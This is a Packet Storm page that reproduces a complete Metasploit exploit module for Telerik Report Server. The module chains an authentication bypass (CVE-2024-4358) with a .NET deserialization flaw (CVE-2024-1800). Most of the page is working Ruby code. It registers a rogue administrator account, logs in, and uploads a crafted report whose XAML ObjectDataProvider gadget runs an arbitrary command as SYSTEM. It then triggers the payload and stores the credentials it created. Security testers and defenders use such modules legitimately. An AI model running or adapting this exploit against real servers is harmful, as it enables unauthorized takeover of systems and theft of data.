what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

Telerik Report Server Authentication Bypass / Remote Code Execution

Telerik Report Server Authentication Bypass / Remote Code Execution
Posted Jun 13, 2024
Authored by unknown, Soroush Dalili, Spencer McIntyre, SinSinology | Site metasploit.com

This Metasploit module chains an authentication bypass vulnerability with a deserialization vulnerability to obtain remote code execution against Telerik Report Server versions 10.0.24.130 and below. The authentication bypass flaw allows an unauthenticated user to create a new user with administrative privileges. The USERNAME datastore option can be used to authenticate with an existing account to prevent the creation of a new one. The deserialization flaw works by uploading a specially crafted report that when loaded will execute an OS command as NT AUTHORITY\SYSTEM. The module will automatically delete the created report but not the account because users are unable to delete themselves.

tags | exploit, remote, code execution, bypass
advisories | CVE-2024-1800, CVE-2024-4358
SHA-256 | c8284cfa43ce5539a8a2a273491db985cf3ca1e11f9f79a70c88e33e5ddb8d98

Telerik Report Server Authentication Bypass / Remote Code Execution

Change Mirror Download
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework

require 'rex/zip'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

prepend Msf::Exploit::Remote::AutoCheck
include Msf::Exploit::Remote::CheckModule
include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Telerik Report Server Auth Bypass and Deserialization RCE',
'Description' => %q{
This module chains an authentication bypass vulnerability (CVE-2024-4358) with a deserialization vulnerability
(CVE-2024-1800) to obtain remote code execution against Telerik Report Server version 10.0.24.130 and prior.
The authentication bypass flaw allows an unauthenticated user to create a new user with administrative privileges.
The USERNAME datastore option can be used to authenticate with an existing account to prevent the creation of a
new one. The deserialization flaw works by uploading a specially crafted report that when loaded will execute an
OS command as NT AUTHORITY\SYSTEM. The module will automatically delete the created report but not the account
because users are unable to delete themselves.
},
'Author' => [
'SinSinology', # CVE-2024-4358 discovery, original PoC and vulnerability write-up
'Soroush Dalili', # CVE-2024-1800 exploitation assistance
'Unknown', # CVE-2024-1800 discovery
'Spencer McIntyre' # MSF module
],
'License' => MSF_LICENSE,
'References' => [
[ 'CVE', '2024-1800' ], # .NET deserialization vulnerability # patched in > 10.0.24.130
[ 'CVE', '2024-4358' ], # Authentication bypass # patched in > 10.0.24.305
[ 'URL', 'https://summoning.team/blog/progress-report-server-rce-cve-2024-4358-cve-2024-1800/' ]
],
'Platform' => 'win',
'Arch' => ARCH_CMD,
'Targets' => [
[ 'Automatic', {} ],
],
'DefaultOptions' => {
'SSL' => false,
'RPORT' => 83
},
'DefaultTarget' => 0,
'DisclosureDate' => '2024-06-04',
'Notes' => {
'Stability' => [ CRASH_SAFE, ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
'Reliability' => [ REPEATABLE_SESSION, ],
'RelatedModules' => [ check_module ]
}
)
)

register_options([
OptString.new('TARGETURI', [ true, 'The base path to the web application', '/' ]),
OptString.new('USERNAME', [false, 'Username for the new account', '']),
OptString.new('PASSWORD', [false, 'Password for the new account', ''])
])
deregister_options('CheckModule')
end

def check_module
'auxiliary/scanner/http/telerik_report_server_auth_bypass'
end

def check_options
{ 'ACTION' => 'CHECK' }
end

def check
check_code = super

if check_code == CheckCode::Appears
# The auth bypass affects later versions than the RCE, so just filter those out
version = check_code.details[:version]
if version > Rex::Version.new('10.0.24.130')
return CheckCode::Safe("Telerik Report Server #{version} is not affected by CVE-2024-1800.", details: check_code.details)
end
end

check_code
end

def username
@username ||= datastore['USERNAME'].blank? ? Faker::Internet.username : datastore['USERNAME']
end

def password
@password ||= (create_account? && datastore['PASSWORD'].blank?) ? Rex::Text.rand_text_alphanumeric(16) : datastore['PASSWORD']
end

def create_account?
# unless the user specifies a username, use CVE-2024-4358 to create an account for them.
datastore['USERNAME'].blank?
end

def create_account!
# create a new account by exploiting CVE-2024-4358
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'Startup/Register'),
'vars_post' => {
'Username' => username,
'Password' => password,
'ConfirmPassword' => password,
'Email' => Faker::Internet.email(name: username),
'FirstName' => Faker::Name.first_name,
'LastName' => Faker::Name.last_name
}
)
fail_with(Failure::Unreachable, 'No response received') if res.nil?
fail_with(Failure::UnexpectedReply, 'Failed to create the new account') unless res.code == 302 && res.headers['location']&.end_with?('/Report/Index')
end

def login
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'Token'),
'vars_post' => {
'grant_type' => 'password',
'username' => username,
'password' => password
}
)

fail_with(Failure::Unreachable, 'No response received') if res.nil?
fail_with(Failure::UnexpectedReply, 'Failed to login to the target (invalid response)') unless res.headers['content-type']&.start_with?('application/json')
fail_with(Failure::NoAccess, 'Failed to login to the target (invalid credentials)') unless res.code == 200

access_token = res.get_json_document['access_token']
fail_with(Failure::UnexpectedReply, 'Failed to login to the target (missing access token)') unless access_token.present?

print_good("Successfully authenticated as #{username}")
report_creds(username, password)
access_token
end

def build_trdp
zip = Rex::Zip::Archive.new
zip.add_file(
'[Content_Types].xml',
Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).to_xml(indent: 0, save_with: 0)
<Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types">
<Default Extension="xml" ContentType="application/zip" />
</Types>
XML
)
zip.add_file(
'definition.xml',
Nokogiri::XML(<<-XML, nil, nil, Nokogiri::XML::ParseOptions::NOBLANKS).root.to_xml(indent: 0, save_with: 0)
<Report Width="6.5in" Name="oooo" xmlns="http://schemas.telerik.com/reporting/2021/1.0">
<Items>
<ResourceDictionary
xmlns="clr-namespace:System.Windows;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
xmlns:System="clr-namespace:System;assembly:mscorlib"
xmlns:Diag="clr-namespace:System.Diagnostics;assembly:System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089"
xmlns:ODP="clr-namespace:System.Windows.Data;Assembly:PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35"
>
<ODP:ObjectDataProvider MethodName="Start" >
<ObjectInstance>
<Diag:Process>
<StartInfo>
<Diag:ProcessStartInfo FileName="cmd" Arguments=#{"/c #{payload.encoded}".encode(xml: :attr)}></Diag:ProcessStartInfo>
</StartInfo>
</Diag:Process>
</ObjectInstance>
</ODP:ObjectDataProvider>
</ResourceDictionary>
</Items>
</Report>
XML
)
zip.pack
end

def send_request_api(resource, method: nil, data: nil)
if method.nil?
method = data.nil? ? 'GET' : 'POST'
end

res = send_request_cgi(
'method' => method,
'uri' => normalize_uri(target_uri.path, 'api', resource),
'headers' => {
'Authorization' => "Bearer #{@access_token}"
},
'ctype' => 'application/json',
'data' => data.nil? ? nil : data.to_json
)
fail_with(Failure::Unreachable, 'No API response received') if res.nil?
fail_with(Failure::UnexpectedReply, "The API responded with status #{res.code}") unless res.code == 200

return nil if res.body.blank?

fail_with(Failure::UnexpectedReply, 'API response content is not JSON data') unless res.headers['content-type']&.start_with?('application/json')

res.get_json_document
end

def exploit
if create_account?
print_status('Creating a new administrator account using CVE-2024-4358')
create_account!
print_good("Created account: #{username}:#{password} (Note: This account will not be deleted by the module)")
end

@access_token = login

categories = send_request_api('reportserver/categories')

report_name = rand_text_alphanumeric(10)
category = categories.sample
fail_with(Failure::Unknown, 'A random category could not be selected') unless category

print_status("Using category: #{category['Name']}")

send_request_api(
'reportserver/report',
data: {
'reportName' => report_name,
'categoryName' => category['Name'],
'description' => nil,
'reportContent' => Rex::Text.encode_base64(build_trdp),
'extension' => '.trdp'
}
)
vprint_status("Created report: #{report_name}")

res_json = send_request_api('reportserver/reports')
@report = res_json.find { |report| report['Name'] == report_name && report['CategoryId'] == category['Id'] }

res_json = send_request_api(
'reports/clients',
data: {
'timeStamp' => nil
}
)

client_id = res_json['clientId']
fail_with(Failure::UnexpectedReply, 'Failed to obtain the client ID') unless client_id.present?

begin
send_request_api(
"reports/clients/#{client_id}/parameters",
data: {
'report' => "NAME/#{category['Name']}/#{report_name}/",
'parameterValues' => {}
}
)
rescue Msf::Exploit::Failed => e
raise e unless fail_reason == Failure::UnexpectedReply

print_good('The server responded with an error indicating that the payload was executed')
self.fail_reason = Failure::None
end
end

def cleanup
return unless @report && @access_token

print_status("Deleting report '#{@report['Name']}' (ID: #{@report['Id']})")
send_request_api("reportserver/reports/#{@report['Id']}", method: 'DELETE')
end

def report_creds(user, pass)
credential_data = {
module_fullname: fullname,
username: user,
private_data: pass,
private_type: :password,
workspace_id: myworkspace_id,
last_attempted_at: Time.now,
status: Metasploit::Model::Login::Status::SUCCESSFUL
}.merge(service_details)

create_credential_and_login(credential_data)
end
end
Login or Register to add favorites

File Archive:

November 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Nov 1st
    30 Files
  • 2
    Nov 2nd
    0 Files
  • 3
    Nov 3rd
    0 Files
  • 4
    Nov 4th
    12 Files
  • 5
    Nov 5th
    44 Files
  • 6
    Nov 6th
    18 Files
  • 7
    Nov 7th
    9 Files
  • 8
    Nov 8th
    8 Files
  • 9
    Nov 9th
    3 Files
  • 10
    Nov 10th
    0 Files
  • 11
    Nov 11th
    14 Files
  • 12
    Nov 12th
    20 Files
  • 13
    Nov 13th
    63 Files
  • 14
    Nov 14th
    18 Files
  • 15
    Nov 15th
    8 Files
  • 16
    Nov 16th
    0 Files
  • 17
    Nov 17th
    0 Files
  • 18
    Nov 18th
    18 Files
  • 19
    Nov 19th
    7 Files
  • 20
    Nov 20th
    13 Files
  • 21
    Nov 21st
    6 Files
  • 22
    Nov 22nd
    48 Files
  • 23
    Nov 23rd
    0 Files
  • 24
    Nov 24th
    0 Files
  • 25
    Nov 25th
    60 Files
  • 26
    Nov 26th
    0 Files
  • 27
    Nov 27th
    44 Files
  • 28
    Nov 28th
    0 Files
  • 29
    Nov 29th
    0 Files
  • 30
    Nov 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2024 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close